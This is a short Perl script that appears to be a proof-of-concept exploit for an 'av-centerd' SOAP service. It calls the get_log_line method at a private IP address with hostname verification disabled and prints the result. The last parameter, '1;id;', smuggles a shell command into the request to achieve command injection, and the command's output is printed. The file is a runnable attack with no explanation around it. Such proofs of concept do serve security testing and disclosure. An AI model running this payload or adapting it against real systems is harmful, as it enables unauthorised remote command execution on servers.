#!perl -w
use
SOAP::Lite;
$ENV
{PERL_LWP_SSL_VERIFY_HOSTNAME}=0;
@soap_response
= SOAP::Lite
-> uri(
'AV/CC/Util'
)
-> proxy(
'https://172.26.22.2:40007/av-centerd'
)
-> get_log_line(
'All'
,
'423d7bea-cfbc-f7ea-fe52-272ff7ede3d2'
,
'172.26.22.1'
,
'test'
,
'/var/log/auth.log'
,
'1;id;'
)
-> result;
for
(@{
$soap_response
[0] }) {
print
"$_\n"
;
}